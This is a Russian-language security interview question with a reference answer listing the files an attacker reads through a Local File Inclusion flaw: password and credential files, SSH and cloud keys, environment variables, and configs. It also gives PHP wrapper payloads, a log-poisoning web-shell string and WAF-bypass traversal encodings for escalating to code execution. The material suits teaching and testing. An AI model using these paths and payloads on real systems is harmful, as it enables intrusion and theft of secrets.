Условие
Вы обнаружили на сайте уязвимость Local File Inclusion (LFI). Какие файлы вы будете пытаться открыть при помощи этой уязвимости?
Решение
Что такое LFI
LFI — приложение читает локальный файл по пути, который контролируется пользователем:
GET /view?file=../../etc/passwd
Цели атакующего: разведка системы, получение секретов, эскалация до RCE.
1. Стандартные системные файлы (Linux)
| Файл | Что даёт |
|---|---|
/etc/passwd |
подтверждение LFI + список пользователей |
/etc/shadow |
хеши паролей (только если читает root) |
/etc/hostname, /etc/hosts |
имя машины, локальные DNS |
/etc/issue, /etc/os-release |
версия ОС |
/proc/self/environ |
переменные окружения процесса (часто содержат пароли БД) |
/proc/self/cmdline |
команда запуска процесса (флаги, конфиги) |
/proc/self/status |
UID, GID, capabilities |
/proc/[pid]/fd/N |
дескрипторы — иногда логи, сокеты |
/proc/version, /proc/cpuinfo |
информация о ядре |
2. Конфиги веб-приложения
web.config(.NET) /application.properties(Spring) /settings.py(Django) /config.php(WP) /.env— главные джекпоты: пароли БД, секретные ключи, токены AWS./var/www/html/.env,~/.envcomposer.json,package.json— зависимости (для подбора эксплойтов).
3. Веб-сервер
/etc/nginx/nginx.conf,/etc/nginx/sites-enabled/*— раскрывает структуру маршрутов и upstream./etc/apache2/apache2.conf,/etc/apache2/sites-enabled/*.- Логи доступа:
/var/log/nginx/access.log,/var/log/apache2/access.log— для log poisoning (записать туда PHP-код через User-Agent → инклюдить → RCE).
4. SSH-ключи и токены
/home/<user>/.ssh/id_rsa,id_ed25519— частный ключ. Эскалация до SSH-доступа./root/.ssh/id_rsa— если читает root./home/<user>/.aws/credentials,~/.aws/config— AWS keys./home/<user>/.docker/config.json— токены реестра./home/<user>/.kube/config— Kubernetes-доступ./home/<user>/.bash_history,.zsh_history— иногда хранят пароли вmysql -p<password>.
5. Backup и временные файлы
*.bak,*.old,*.swp(Vim swap),*~./tmp/*,/var/tmp/*— иногда лежат дампы БД./var/backups/— скрипты ОС бэкапят сюда/etc/shadow.bakи пр.
6. Логи
/var/log/auth.log— попытки SSH, sudo./var/log/syslog,/var/log/messages.- Логи приложения с user input — log poisoning RCE.
/var/log/mail.log— иногда содержит plaintext-пароли SMTP.
7. PHP-специфичные (если PHP)
- PHP wrappers:
php://filter/convert.base64-encode/resource=index.php— чтение исходников PHP в base64 (без интерпретации).php://input+ POST с PHP-кодом — RCE приallow_url_include=On.data://text/plain;base64,...— RCE.expect://id— RCE через PECL expect.phar://— десериализация при чтении phar-архива.
/etc/php/*/php.ini,/var/lib/php/sessions/sess_*— может содержать сериализованные данные сессий.
8. Java/Tomcat
/usr/share/tomcat*/conf/tomcat-users.xml— пароли админки./etc/passwdчерезWEB-INF/web.xml(раскрытие маппинга → дальше CVE).
9. Windows (если LFI на IIS / Windows-сервере)
C:\Windows\win.ini— подтверждение LFI.C:\Windows\System32\drivers\etc\hosts.C:\Windows\System32\inetsrv\config\applicationHost.config— IIS конфиг с паролями app pool.C:\Users\<user>\Desktop\*— пользовательские файлы.C:\inetpub\wwwroot\web.config.
10. Эскалация LFI → RCE
- Log poisoning:
User-Agent: <?php system($_GET['c']); ?>→ инклюдить access.log. - PHP session poisoning: записываем PHP-код в значение сессии, инклюдим
sess_<id>. /proc/self/environна старых системах: User-Agent попадает вHTTP_USER_AGENTenv, после<?php phpinfo();?>в UA можно RCE.phar://deserialization.
Подводные камни
- LFI ≠ Path Traversal. LFI — приложение интерпретирует/инклюдит файл (PHP, JSP). Path traversal — просто читает (GET-параметр содержит файл, отдаваемый «как есть»). Эксплуатируются по-разному.
null-byte injection(%00) работает только в PHP < 5.3 / Java старых версий./etc/shadowобычно0640 root:shadow— недоступно для www-data. Запрос ничего не даст./proc/self/environначиная с ядра 2.6.39 — read-only для своего процесса (нельзя эксплуатировать через UA).- Wrappers требуют конфигурации.
allow_url_include=Onнужен дляdata:///php://inputRCE — в современных PHP по умолчаниюOff. - Логирование атак. Все ваши попытки попадают в access.log → форензикам сразу видно атакующего.
- При наличии Web Application Firewall простые
../../etc/passwdблокируются. Используются..%2f,..%252f,....//, нулевые байты.
Эталонный ответ
Стартовый чек-лист:
/etc/passwd(подтверждение)./proc/self/environ,/proc/self/cmdline(env с секретами).- Конфиги приложения:
.env,config.php,settings.py,web.config. - SSH/AWS-ключи:
~/.ssh/id_rsa,~/.aws/credentials. - Логи для log poisoning → RCE:
/var/log/nginx/access.log. - Если PHP — wrappers:
php://filter,data://,php://input.
Цель — пройти от LFI до раскрытия секретов и далее до RCE.